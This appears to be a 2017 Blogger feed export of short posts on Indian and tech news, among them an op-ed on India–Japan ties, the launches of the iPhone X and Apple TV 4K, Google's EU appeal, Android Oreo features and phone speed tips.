Much as Prime Minister Narendra Modi tries to leave an indelible mark as the leader of 'New India', he is destined to shadow box against the legacy of independent India's first prime minister. The conclusion of India-Japan's 13th summit meeting proved yet again how the Nehruvian template continues to define India's foreign policy.<br />
<br />
The more fashionable 'strategic autonomy' still smells disturbingly like old 'non-alignment'. The tenets demand that India may tilt towards one axis and away from another but the gradient will never be enough for the lean to become an alliance. Nearly everything about India and Japan indicates an unique dovetailing of interest — strategic compulsions, security risks and challenges, commonality of vision to roaring chemistry between two leaders. Yet, when it came to showing commitment to the relationship, India seemed to be suffering from hesitations of history.<br />
<br />
The joint statement that emerged after delegate-level meeting on Thursday didn't match the rhetoric in terms of deliverables. The trajectory remained solid and forward-looking but there were no specifics. There's little to show except the Japanese soft loan for High Speed Rail project. During the inauguration ceremony prior to the summit meeting, Modi had called the terms of the loan "as good as free"! And it's hard to disagree. India need only finance a minuscule part of the Rs 1.08 lakh crore project over a 50-year period and the repayment of Rs 88,000 crore will begin only after 15 years at a negligible interest of 0.1 percent. Such a time period reduces the actual valuation to almost zero taking into account the inflation factor.<br />
<br />
Whether or not the bullet train ushers in the 'Maruti moment' in India's public transport remains to be seen. There's no doubt, however, that both Modi and Abe spent a huge amount of personal capital to bring it to light. But did the 'natural allies' do enough to seize the moment, especially at a time when they are helmed by two leaders whose 'bromance' extends beyond their good offices?<br />
<br />
As author and Carnegie India director C Raja Mohan has pointed out in The Indian Express, if the trajectory of the Indo-Japan bilateral ties now tilts towards an "alliance" from the antagonism during India's nuclear tests, it is largely due to Abe and Modi's personal push.<br />
<br />
"During his brief first tenure as PM during 2006-07, Abe outlined the broad framework for a strong strategic partnership with India… He achieved the near impossible by getting the Japanese bureaucratic establishment to negotiate a civil nuclear cooperation agreement with India and the political class to approve it… On his part, Prime Minister Narendra Modi had put Japan at the very top of his foreign policy agenda."<br />
However, and this is the operative part, there is hardly anything in the joint statement to show for all this goodwill. The purchase of 12 US-2i Japanese amphibious aircraft could have been a good start. Both countries have been discussing the deal since 2011, but despite a vigorous push from the Modi government, differences on pricing and technology transfer prevented a closure.<br />
<br />
Prime Minister Narendra Modi with his Japanese counterpart Shinzo Abe in Gandhinagar on Thursday. PTIPrime Minister Narendra Modi with his Japanese counterpart Shinzo Abe in Gandhinagar on Thursday. PTI<br />
Reports emerged that former defence minister Arun Jaitley had finalised the deal during his recent Tokyo visit with makers ShinMaywa agreeing to cut the price. According to The Hindu Business Line, it was decided that a discount of 10-15 percent (over a cost of $100 million) would be offered for each of the 12 aircraft that India will buy "off the shelf". New Delhi, which plans to equip its Navy with better search-and-rescue capabilities in the Indian Ocean region, apparently planned to build 18 more through technology transfer under the Make in India programme. The deal was expected to be clinched during Abe's visit.<br />
<br />
However, the joint statement included very little details except a cryptic "Japan's readiness to provide its state-of-the-art US-2 amphibian aircraft was appreciated as symbolising the high degree of trust between the two countries. The two governments decided to continue their discussions in this regard."<br />
<br />
Not very different from the 2016 joint statement during Modi's visit to Japan, when it read: "Prime Minister Modi conveyed his appreciation for Japan's readiness to provide its state of the art defence platforms such as US-2 amphibian aircraft. It symbolises the high degree of trust between the two countries and the distance that Japan and India have covered in advancing their bilateral defence exchanges."<br />
<br />
Later during a news conference, foreign secretary S Jaishankar refused to go beyond saying: "serious discussions (going on). I am not in the know of what the issues are as I am not one of the negotiators".<br />
<br />
Though bureaucratic obstinacy is as prevalent in Japan, in India the practice runs deeper. The aircraft deal could have formalised the defence partnership with Japan who is looking to break its decades-long moratorium on defence exports. Additionally, it could have provided more meat to the bilateral Special Strategic and Global Partnership and bring India closer to the US-led axis. This may have led to closer strategic ties with the US. This is where India's institutionalized isolationism kicks in. India's hesitation in striking up any military-strategic alliance is borne out of its deep-seated aversion towards limiting its strategic autonomy.<br />
<br />
A similar hesitation marked the development of civil nuclear deal where one witnessed very little progress. India reportedly was ready for collaboration with Japanese companies in the area of nuclear energy. The statement read: "The two Prime Ministers expressed satisfaction at the entry into force of the Agreement between the Government of the Republic of India and the Government of Japan for Cooperation in the Peaceful Uses of Nuclear Energy. They looked forward to a working group to strengthen bilateral cooperation in this field and reiterated their shared view that the Agreement reflects a new level of mutual confidence and strategic partnership in the cause of clean energy, economic development and a peaceful and secure world."<br />
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Last year, Modi and Abe had "welcomed the signing of the Agreement between the Government of Japan and the Government of the Republic of India for Cooperation in the Peaceful Uses of Nuclear Energy which reflects a new level of mutual confidence and strategic partnership in the cause of clean energy, economic development and a peaceful and secure world."<br />
<br />
Abe had put in a considerable amount of work to persuade lawmakers to get over their skepticism about India on nuclear energy. The bureaucratic stasis is largely from India's side which conflates pragmatism with procrastination. If Modi wants to be India's milestone man — and he clearly sees himself as one — he must find a way around babudom's inertia. For that to happen, the South Block officials must stop looking at the current geopolitical climate through Nehruvian prism. The dynamics in Asia calls for bolder, surer steps.</div>
Darshan Savlahttp://www.blogger.com/profile/13966692025486400981noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-2166906779850945432017-09-14T22:51:00.000+05:302017-09-15T19:03:23.717+05:3010 simple tricks to make your iPhone run faster.<div dir="ltr" style="text-align: left;" trbidi="on">
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Simple tricks to make your iPhone run faster..</h3>
<div>
As iPhone is wide all over the world and completed 10 years in marketing the craziness for buying it is going higher. The rate of iPhone user is increasing as well as the rate of issues/errors for low space and speed of the phone is increasing.So to make Your iPhone run faster here are some tricks given below.</div>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTf1Ws7_lCAu4L8KBPO080YZynDGkcs_BP6yk_3eJ-4Jee1F598tKRBuO1P5NBzGr354XW7vlaWEtpSBZM3Z7PCRCL6EQ7oBQDzFLjlxSuh7eMHVgM_iEJKJKnvDo4g-HMnqB6YGRiIiT3/s1600/ipad-pro-red-iphone-7s.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Here are some simple tricks to make your iPhone run faster." border="0" data-original-height="333" data-original-width="545" height="243" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTf1Ws7_lCAu4L8KBPO080YZynDGkcs_BP6yk_3eJ-4Jee1F598tKRBuO1P5NBzGr354XW7vlaWEtpSBZM3Z7PCRCL6EQ7oBQDzFLjlxSuh7eMHVgM_iEJKJKnvDo4g-HMnqB6YGRiIiT3/s400/ipad-pro-red-iphone-7s.jpg" title="Here are some simple tricks to make your iPhone run faster." width="400" /></a></div>
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1.Get rid of old photos</div>
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Deleting unnecessary files is another great way to speed up your phone. If you've got hundreds of photos on your iPhone, try syncing them to iPhoto on your desktop or backing them up through iCloud and erasing them from your phone.</div>
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2.Delete apps that take up a lot of space</div>
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The more bloated your iPhone is, the slower it's going to run. To see how much space a single app is occupying, head over to Settings > General > Storage & iCloud Usage > Manage Storage.</div>
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3.Erase old text message threads</div>
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If you never delete any text messages (or multimedia messages like pictures and video), it can weigh down the phone's software. One easy way to make sure old messages don't clog up your phone is by changing the default amount of time you keep messages: the iPhone offers 30 days, 1 year, and forever. To do this go to Settings > Messages > Keep Messages.</div>
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4.Empty Safari's cache</div>
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Treat your iPhone like you would a computer. This means you need to empty Safari's cache to keep it running smoothly. To do this, head over to Settings > Safari, and tap "Clear History and Website Data."</div>
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5.Turn off automatic downloads</div>
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Similar to automatic updates, automatic downloads can also bog down your iPhone. If you have automatic app updates turned on, an app that you've downloaded on your iPad could automatically begin installing on your iPhone. While useful, it can certainly make your phone a little slower. To turn it off, navigate to Settings > iTunes & App Store. Switch the sliders to off mode.</div>
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6.If restarting just isn't cutting it, try restoring from a previous backup</div>
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If you back up your phone regularly, you may want to try restoring it to a previous backup if it keeps giving you trouble. If anything has happened to your phone recently that may be making it more sluggish, restoring it could do the trick. To do this, on iTunes go to File > Devices > Restore from Backup.</div>
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7.Try reallocating your phone's memory with Battery Doctor app</div>
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When a phone is running slow, it's likely due to an issue with its memory. According to Macworld, this Battery Doctor app can show you how fast your phone is running. If it's running slow, you can tap the Reallocate Memory button to re-distribute the memory in your iPhone. The team at Macworld claims that this is the first thing they do whenever they're iPhones start to lag.</div>
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8.Restart your iPhone every once in a while</div>
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Again, your phone is a miniature computer, so it should be treated as such. It's easy to get into the habit of leaving your phone on all the time, but everyone once in a while it's healthy to restart it. Turning off your phone can help your iPhone let go of some of the resources it might have been holding on to that were weighing it down.</div>
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9.Avoid setting your phone to automatic</div>
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Does your iPhone usually ask if you'd like to join nearby Wi-Fi networks? If it does, you may want to turn that feature off. Any time your phone does anything automatically, such as scouting out nearby Wi-Fi or updating apps, it can slow the phone down. Turn this off by heading to Settings > Wi-Fi > Ask to Join Networks. Switch the slider to off.</div>
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10.Turn off auto app updates</div>
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If your iPhone is running a little slow, that's because it may be trying to update apps in the background. Try updating your apps manually instead. To change this in your settings, head over to Settings > iTunes & App Store. Then switch the sliders to off mode where it says Updates.</div>
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Darshan Savlahttp://www.blogger.com/profile/13966692025486400981noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-17965732337337458472017-09-14T20:30:00.000+05:302017-09-14T20:30:24.948+05:30Apple TV 4K to start selling from Rs 15,900 onwards.<div dir="ltr" style="text-align: left;" trbidi="on">
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Apple on Tuesday introduced "Apple TV 4K" that is designed to deliver a stunning cinematic experience at home with the support for both 4K and High Dynamic Range (HDR).</h3>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCUT1s50AkuoxhheaCZ5J0UttRppdqHFOghlTRvtxMof6d-eAU1VGwuAEJkGg33APqkUBqNNv-xjIX4aUHxsfc1i2gqt6De_P0aL9HfzU6awagyBwhyphenhyphentTCgZP3O93Z0gi1P4s0OCCcUp9E/s1600/apple+tv.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Apple TV 4K to start selling from Rs 15,900 onwards." border="0" data-original-height="181" data-original-width="278" height="260" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCUT1s50AkuoxhheaCZ5J0UttRppdqHFOghlTRvtxMof6d-eAU1VGwuAEJkGg33APqkUBqNNv-xjIX4aUHxsfc1i2gqt6De_P0aL9HfzU6awagyBwhyphenhyphentTCgZP3O93Z0gi1P4s0OCCcUp9E/s400/apple+tv.jpg" title="Apple TV 4K to start selling from Rs 15,900 onwards." width="400" /></a></div>
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Apple TV having Specs prices of Rs 15,900 for 32GB and Rs 17,900 for 64GB, Apple TV 4K would deliver sharp, crisp images, richer, more true-to-life colour and greater detail in both dark and bright scenes, the company said in a statement.<br />
Customers will be able to order both Apple TV 4K models from September 15 with availability beginning from September 22 in the US and 21 additional countries and regions and worldwide soon after"Customers will love watching stunning 4K HDR movies from an impressive catalog on iTunes, while also getting automatic upgrades of 4K HDR movies already in their iTunes library and enjoying 4K content on services like Netflix and Amazon Prime Video, coming soon," Eddy Cue, Apple's senior vice president of Internet Software and Services.</div>
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iTunes users will get automatic upgrades of HD titles in their existing iTunes library to 4K HDR versions when they become available.<br />
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"Apple TV 4K" is built on A10X Fusion chip — the same chip that powers iPad Pro — and supports both Dolby Vision and HDR10.<br />
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Siri and the Apple TV app can help users search and access content across Apple TV. The TV app supports over 60 services on Apple TV and iOS devices, with more being added all the time.<br />
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Users can share recent photos and videos from iPhone and iPad, including the best Memories, with friends and family on the biggest screen, with iCloud on Apple TV.<br />
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It's also simple to send movies, TV shows, home videos and photos from iPhone or iPad instantly to the TV using AirPlay from your iOS devices.</div>
Darshan Savlahttp://www.blogger.com/profile/13966692025486400981noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-12852318331584269912017-09-14T19:30:00.000+05:302017-09-14T19:30:08.339+05:30Amazon on 11 September announced it has created more than 22,000 seasonal employment positions across its India network this festive season.<div dir="ltr" style="text-align: left;" trbidi="on">
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Amazon claims to have created 22,000 seasonal employment positions across its India network.</h3>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgr8GyUvPXUToJxcgvSnvG-xFP_HQD3V9Qr9R9Q7CZCoMsZHR9kCP3B3nRuqg_ZKjuLz9X6ffjmsq27jnmGT6ov3ZgxbzNq9A4hZfhH3_VLdnlIoh7OJodo5nQLgbreDzDwBPCz8ZVWE8Ri/s1600/amazon.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Amazon on 11 September announced it has created more than 22,000 seasonal employment positions across its India network this festive season." border="0" data-original-height="183" data-original-width="275" height="425" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgr8GyUvPXUToJxcgvSnvG-xFP_HQD3V9Qr9R9Q7CZCoMsZHR9kCP3B3nRuqg_ZKjuLz9X6ffjmsq27jnmGT6ov3ZgxbzNq9A4hZfhH3_VLdnlIoh7OJodo5nQLgbreDzDwBPCz8ZVWE8Ri/s640/amazon.jpg" title="Amazon on 11 September announced it has created more than 22,000 seasonal employment positions across its India network this festive season." width="640" /></a></div>
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The e-commerce giant said the employment positions have been created at its fulfilment centres, sortation centres, delivery stations and customer service sites.</div>
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These positions have been created in Mumbai, Delhi, Hyderabad, Chennai, Bengluru, Ahmedabad and many other cities across the country, it said in a statement.</div>
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In our effort to provide a seamless shopping experience, we are excited to announce that we are enhancing our teams significantly with two times the number of associates working in the Amazon fulfilment network and customer service sites," Akhil Saxena, Vice President India Customer Fulfilment, Amazon India, said.</div>
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"The over 22,000 seasonal associates will help in augmenting our capabilities to serve our customers better and enable us to deliver consistently high levels of customer experience," he added.</div>
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Associates who have been provided opportunities, specifically for the festive season, will join the thousands of associates at Amazon's 41 fulfilment centres, 15 sortation centres and close to 150 delivery stations across the country to help pick, pack, ship and deliver customer orders more efficiently.</div>
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Amazon has 13 customer service sites across 12 cities and provides voice support for customers in Kannada, English, Hindi, Tamil and Telugu.</div>
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The customer service sites support Amazon customers in India with pre and post order customer service through various mediums like email, chat, social media and phone.</div>
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Darshan Savlahttp://www.blogger.com/profile/13966692025486400981noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-66544443045459406132017-09-14T00:19:00.000+05:302017-09-14T00:19:23.148+05:30Bizarre! Tamil Nadu conductor to face action as pigeon travels without ticket.<div dir="ltr" style="text-align: left;" trbidi="on">
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A conductor working with the Tamil Nadu State Transport Corporation (TNSTC) on Monday was issued a memorandum after he allowed a pigeon, sitting on the bus windows, to travel ticket-less.</h3>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGPU-KoIJFF_RLKtr3SIUVAh7W_vA3CyjQSTpAl2zcfAPCZHnkkHa4p0gCLRVT5tXITz-G7Rx0nKqeMv3hkQuOfU3TLKxhXPtkj3Js2OKiwiZKq_2TznIC8CKESjmpQxHqS-iFv0s5sezl/s1600/pigeon.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Bizarre! Tamil Nadu conductor to face action as pigeon travels without ticket." border="0" data-original-height="195" data-original-width="260" height="298" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGPU-KoIJFF_RLKtr3SIUVAh7W_vA3CyjQSTpAl2zcfAPCZHnkkHa4p0gCLRVT5tXITz-G7Rx0nKqeMv3hkQuOfU3TLKxhXPtkj3Js2OKiwiZKq_2TznIC8CKESjmpQxHqS-iFv0s5sezl/s400/pigeon.jpg" title="Bizarre! Tamil Nadu conductor to face action as pigeon travels without ticket." width="400" /></a></div>
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A conductor with the Tamil Nadu State Transport Corporation (TNSTC) was issued a memo for letting a pigeon perched on the window of a bus travel without a ticket earlier this week. The pigeon in question was reportedly keeping a drunk passenger company from its perch in a window of the bus.</div>
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Late on Thursday evening, the only government bus connecting Harur town and Ellavadi, a remote tribal village, was on its way through a forest area with more than 80 passengers, when, just as it reached the outskirts of Harur, transport department inspectors flagged the bus to check tickets. At the time, the drunk passenger, in his mid-forties, had caught hold of the pigeon, and was "having a conversation" with it.</div>
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Noticing the bird, an inspector asked the conductor if he had issued the bird a ticket. For good measure, the inspector quoted a rule purportedly mandating tickets for animals and birds on the bus as well. The conductor said the passenger was not carrying the bird at the time of boarding. Not impressed, the inspector issued the conductor a memo.</div>
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An official quoted transport department rules as saying that conductors should collect one-fourth of the full fare when a passenger is carrying more than 30 pigeons at a time."The rules don't mention charging passengers for transporting one pigeon," he said. A senior TNSTC official in the Salem division said he would wait till Monday to see the memo the inspector submits. "Inspectors submit memos on Mondays. We will take appropriate action if any rule was broken," he said.</div>
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Following the incident, a bus conductor said, crew operating government buses on the route are keeping an eagle's eye to ensure no birds fly into the bus.</div>
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Darshan Savlahttp://www.blogger.com/profile/13966692025486400981noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-78289782149222368572017-09-13T21:00:00.000+05:302017-09-13T21:00:00.455+05:30India at 103 rank on Global Human Capital Index; Norway on top.<div dir="ltr" style="text-align: left;" trbidi="on">
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLcD08uE2XupIfzdN6yuLkB2DsITaSgQhwzc2xKSc27lWjzqluamYwDaRXecnqdGf4x788ByxqdDe10QbTJB57OT-9mHQgh2qZQ6ZocezVGOzjpwMmg8Ctkg8ncEWVPexKq8wgfLPNOTFf/s1600/india.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="India at 103 rank on Global Human Capital Index; Norway on top." border="0" data-original-height="183" data-original-width="275" height="212" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLcD08uE2XupIfzdN6yuLkB2DsITaSgQhwzc2xKSc27lWjzqluamYwDaRXecnqdGf4x788ByxqdDe10QbTJB57OT-9mHQgh2qZQ6ZocezVGOzjpwMmg8Ctkg8ncEWVPexKq8wgfLPNOTFf/s320/india.jpg" title="India at 103 rank on Global Human Capital Index; Norway on top." width="320" /></a></div>
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India has been placed at a low 103 rank, the lowest among BRICS economies,on the WEF's Global Human Capital Index, which has been topped by Norway.<br />
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India also ranks "among the lowest in the world" when it comes to the employment gender gap, but has fared well when it comes to development of skills needed for the future with a rank of 65 out of total 130 countries surveyed.<br />
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The list compiled by Geneva-based World Economic Forum (WEF) takes into account "the knowledge and skills people possess that enable them to create value in the global economic system" to measure the 'human capital' rank of a country.<br />
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India was ranked 105th on this list last year, while Finland was on the top which has pushed by Norway to second place this year.<br />
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The WEF said India is ranked lower than its BRICS peers, with Russian Federation placed as high as 16th place, followed by China at 34th, Brazil at 77th and South Africa at 87th place.<br />
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Among the South Asian countries also, India was ranked lower than Sri Lanka and Nepal, although higher than neighboring Bangladesh and Pakistan.<br />
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"India is held back by a number of factors, including low educational attainment (primary education attainment among 25 -54 year old is 110th for example) and low deployment of its human capital, meaning the skills available are not getting put to good use", WEF said.<br />
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Giving examples, WEF said India ranks 118 for labor force participation among the key 35-54 year old demographic, suggesting far too many Indians are engaged in informal or substituent employment.<br />
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"However there is a modern India rising. When it comes to development of skills needed for the future, the country fares strongly, ranking 65 out of 130," it said adding the country also performed well in the know-how parameter that measures the use of specialized skills at work.<br />
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"India faces a number of challenges but looks to be moving in the right direction," WEF noted.<br />
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The overall list was topped by Norway, followed by Finland and Switzerland in the second and third place respectively.<br />
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Other countries in the top 10 include, the United States (4th), Denmark (5th), Germany (6th), New Zealand (7th), Sweden (8th), Slovenia (9th) and Austria (10th).<br />
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The report measures 130 countries against four key areas of human capital development; Capacity (determined by past investment in formal education), Deployment (accumulation of skills through work), Development (continued ups-killing and res-killing of existing workers) and Know-how (specialized skills-use at work).<br />
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According to the report, 62 per cent of human capital has now been developed globally.<br />
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"The Fourth Industrial Revolution does not just disrupt employment, it creates a shortfall of newly required skills. Therefore, we are facing a global talent crisis," said Klaus Schwab, Founder and Executive Chairman, World Economic Forum.<br />
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Schwab further noted that "we need a new mind-set and a true revolution to adapt our educational systems to the education needed for the future work force.</div>
Darshan Savlahttp://www.blogger.com/profile/13966692025486400981noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-70145821890533868062017-09-13T20:00:00.000+05:302017-09-13T20:00:09.528+05:30Apple iPhone X - the 10th-anniversary edition iPhone Launched.<div dir="ltr" style="text-align: left;" trbidi="on">
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Apple iPhone X launched with TrueDepth sensor, A11 Bionic chip and Super Retina Display at Rs 89,000</h3>
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Apple iPhone X — the 10th-anniversary edition iPhone — that was eagerly awaited and was being rumored since the last couple of months, is finally official. Tim Cook, in typical Apple's 'One more thing' tradition, announced the iPhone X (pronounced as the iPhone ten) at the Apple event at the Steve Jobs theater. The iPhone X will start selling for $999 from 3 November onward. Pre-orders start from 27 October in over 55 countries including India.</div>
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The iPhone X will be selling in India for Rs 89,000 from Apple Authorized retailers.</div>
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The Apple iPhone X is the first Apple smartphone to feature an edge-to-edge display, which is being called the Super Retina Display. It makes use of an OLED panel. It is a 5.8-inch display with a 2436 x 1125 pixel resolution which puts the pixel density at 458 PPI. The HDR display supports HDR10 and Dolby Vision standards and it is a True Tone display, that is also present on the iPhone 8 and iPhone 8 Plus that were also announced alongside the iPhone X. The display also supports 3D Touch and has a finger-resistant oleo-phobic coating. The phone will be available in space gray and silver colors and in 64 GB and 256 GB capacities.</div>
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The Apple iPhone X is powered by the Apple A11 Bionic chip which comes with a 64-bit architecture, and houses a six-core processor which has two high performance cores and four high efficiency cores. The A11 Bionic chip also houses the dual core neural engine which Apple is using for its augmented reality feature sets.</div>
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Apple iPhone X houses the A11 Bionic chip-set Apple iPhone X houses the A11 Bionic chip-set</div>
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Home button, which has been a part of the iPhone since its first iteration, will not be seen on the Apple iPhone X. Considering there is no fingerprint sensor either on the iPhone X, Apple is relying completely on a new method of authentication — Face ID. The Face ID uses the TrueDepth camera module on the front camera of the phone to create a 3D mapped image of your face, using 30,000 dots to map your face, which can be later used to unlock the iPhone X or even make payments. Apple iPhone X makes extensive use of gestures to replace the functions of the hardware home button. A button on the side of the phone will be used to fire voice assistant, Siri.</div>
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The entire iPhone line up announced at the Apple event also comes with water and dust resistance. The glass back is also present on all the iPhones, which enables wireless charging support, using the Qi wireless charging standard.</div>
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Just like the iPhone 8 Plus, the iPhone X also has a 12 MP dual camera setup. While the wide-angle lens will have a f/1.8 aperture, the telephoto lens will get a f/2.4 aperture. Both the dual camera sensors come with optical image stabilization. The iPhone X employs a quad LED two-tone flash unit between the two camera modules. The rear camera is capable of shooting videos in 4K at 24fps, 30fps and 60fps and 1080p FullHD videos at 30fps or 60fps. You can also shoot slow-mo videos at FullHD resolution at a staggering 240fps.</div>
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On the front face, you have what Apple calls the TrueDepth camera module which house a bunch of sensors along with the front facing 7 MP camera. The TrueDepth camera module comprises the infrared camera module, proximity sensor, flood illuminator, ambient light sensor, speaker, microphone, front-facing 7 MP camera and a dot projector. The dot projector is used to map your face using 30,000 dots which will help with Face ID, irrespective of any superficial changes — such as growing beard, cutting short your hair, wearing glasses and so on.</div>
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The TrueDepth camera will also be used to activate Animojis — Apple's latest take on animated emojis, for which you can use the facial recognition features of the front camera to animate the emojis the way you want. This works by the front camera mapping 50 facial muscles in real time to the emojis.</div>
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The front-facing camera also supports Portrait mode, that was so far only available for the rear cameras. The newest features — Portrait lighting — will also be supported on the front-facing camera.</div>
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At the heart of the Apple iPhone X is the Apple A11 Bionic chip which does all the heavy lifting when it comes to smartphone operations as well as the camera functionalities. The Face ID computation is done inside the Neural Engine within A11 Bionic chip.</div>
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Apple-designed accessories including leather and silicone cases in a range of colors will be available starting at Rs 3,500, while a new iPhone X Leather Folio will be available for Rs 8,600. Lightning Docks in color-matching metallic finishes will also be available for Rs 4,700, prices may vary.</div>
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Darshan Savlahttp://www.blogger.com/profile/13966692025486400981noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-77387101425913971412017-09-12T21:30:00.000+05:302017-09-12T21:30:18.287+05:30Google appealed on 11 September against a record 2.4-billion-euro ($2.9 billion) EU antitrust fine<div dir="ltr" style="text-align: left;" trbidi="on">
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Google appeals in court against the $2.9 billion EU antitrust fine.</h3>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjytdR5RcIlpWDskgI3cDJ2P_0tIaphF0y8ig5rllUN_25BGx91_Jqwz-7lGV2EEoxTzuyDPG20VH4kcRa1fmG605KiHk8C46YpwItCrsLlkWwv8rI3U8wACyBqfRD1zXkXYZUdBJmZX6h-/s1600/google.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Google appealed on 11 September against a record 2.4-billion-euro ($2.9 billion) EU antitrust fine" border="0" data-original-height="168" data-original-width="299" height="359" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjytdR5RcIlpWDskgI3cDJ2P_0tIaphF0y8ig5rllUN_25BGx91_Jqwz-7lGV2EEoxTzuyDPG20VH4kcRa1fmG605KiHk8C46YpwItCrsLlkWwv8rI3U8wACyBqfRD1zXkXYZUdBJmZX6h-/s640/google.png" title="Google appealed on 11 September against a record 2.4-billion-euro ($2.9 billion) EU antitrust fine" width="640" /></a></div>
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Google appealed on 11 September against a record 2.4-billion-euro ($2.9 billion) EU antitrust fine, with its chances of success boosted by Intel’s partial victory last week against another EU sanction.</div>
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The world’s most popular Internet search engine, a unit of the U.S. firm Alphabet, launched its appeal two months after it was fined by the European Commission for abusing its dominance in Europe by giving prominent placement in searches to its comparison shopping service and demoting rival offerings.</div>
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<br />The Luxembourg-based General Court, Europe’s second-highest, is expected to take several years before ruling on the appeal.<br /><br />A court spokeswoman said Google had not asked for an interim order to suspend the European Union decision.<br /><br />The Commission, which ordered Google to stop the practice by Sept. 28, is reviewing Google’s proposal on how it would comply with the EU decision.<br /><br />The EU competition enforcer will defend its decision in court, a spokesman said.<br /><br />Lobby group FairSearch, whose members include Google rivals such as British shopping comparison site Foundem and U.S. travel site TripAdvisor (TRIP.O), said the EU decision was sound.<br /><br />“The Commission’s decision stands on firm ground, both legally and factually, and we expect the Commission to win on appeal,” FairSearch lawyer Thomas Vinje said.<br /><br />The EU Court of Justice (ECJ) ordered a lower tribunal last week to re-examine U.S. chipmaker Intel’s appeal against a 1.06 billion euro fine, a rare setback for the Commission.<br /> </div>
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Darshan Savlahttp://www.blogger.com/profile/13966692025486400981noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-10336481187732755742017-09-11T21:30:00.000+05:302017-09-11T21:30:01.592+05:30Android 8.0 Oreo features that will make Apple iPhone users jealous.<div dir="ltr" style="text-align: left;" trbidi="on">
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Best update as per android users which will make iPhone users bit jealous.</h3>
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Late last month Google officially announced the name of the latest version of its mobile operating system -- Android 8.0 Oreo. The company had unveiled the OS in May this year at its annual developers conference I/O 2017.</div>
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The OS is widely speculated to debut with the upcoming Pixel 2 and Pixel XL 2 smartphones. The search giant has already rolled out the Android 8.0 Oreo OTA update to Pixel and Nexus smartphone users.</div>
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Android 8.0 Oreo is the company's competitor to the latest version of Apple's mobile OS iOS 11. While both the OSes boasts of some exclusive features, here we list those that give Android Oreo an edge.</div>
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<img alt="8 Android 8.0 Oreo features that will make Apple iPhone users jealous" src="http://static.toiimg.com/photo/60457361.cms" style="background-color: #222222; border: 0px; box-sizing: border-box; color: white; font-family: proxima-regular1, sans-serif; font-size: 14px; font-stretch: inherit; font-variant-numeric: inherit; line-height: inherit; margin: 0px; max-height: 600px; max-width: 100%; min-height: 300px; padding: 0px; text-align: center; text-size-adjust: none; vertical-align: bottom; width: auto;" /></div>
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<img alt="Native picture-in-picture mode" src="http://static.toiimg.com/photo/60457364.cms" style="background-color: #222222; border: 0px; box-sizing: border-box; color: white; font-family: proxima-regular1, sans-serif; font-size: 14px; font-stretch: inherit; font-variant-numeric: inherit; line-height: inherit; margin: 0px; max-height: 600px; max-width: 100%; min-height: 300px; padding: 0px; text-align: center; text-size-adjust: none; vertical-align: bottom; width: auto;" />The new picture-in-picture mode allows users to perform two tasks simultaneously on a smartphone or a tablet.</div>
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They can video call or watch a video and work on a different apps in the background at the same time using this mode.</div>
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<img alt="Smart Text selection" src="http://static.toiimg.com/photo/60457367.cms" style="background-color: #222222; border: 0px; box-sizing: border-box; color: white; font-family: proxima-regular1, sans-serif; font-size: 14px; font-stretch: inherit; font-variant-numeric: inherit; line-height: inherit; margin: 0px; max-height: 600px; max-width: 100%; min-height: 300px; padding: 0px; text-align: center; text-size-adjust: none; vertical-align: bottom; width: auto;" /></div>
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Using Google's advanced machine learning techniques, Android O will bring the ability to select texts, recognise it as an address, email ID or a contact number, and will show related options. Users can long tap on a text inside the address and the OS will automatically select the complete address.</div>
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<img alt="Pin app shortcuts" src="http://static.toiimg.com/photo/60457365.cms" style="background-color: #222222; border: 0px; box-sizing: border-box; color: white; font-family: proxima-regular1, sans-serif; font-size: 14px; font-stretch: inherit; font-variant-numeric: inherit; line-height: inherit; margin: 0px; max-height: 600px; max-width: 100%; min-height: 300px; padding: 0px; text-align: center; text-size-adjust: none; vertical-align: bottom; width: auto;" /></div>
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You can also pin app shortcuts and widgets to the launcher from within the app. There's also a new option to add a specialized activity to help users create shortcuts. The activity is complete with custom options and confirmation.</div>
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<img alt="Redesigned emojis" src="http://static.toiimg.com/photo/60457366.cms" style="background-color: #222222; border: 0px; box-sizing: border-box; color: white; font-family: proxima-regular1, sans-serif; font-size: 14px; font-stretch: inherit; font-variant-numeric: inherit; line-height: inherit; margin: 0px; max-height: 600px; max-width: 100%; min-height: 300px; padding: 0px; text-align: center; text-size-adjust: none; vertical-align: bottom; width: auto;" /></div>
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In May, Google executives confirmed that the company will be rolling out newly-designed stock emojis with Android O. The new emoji set has been in the works for a year-and-a-half and is claimed to be more user-friendly. The company bid adieu to its blog-styled emoji few months back.</div>
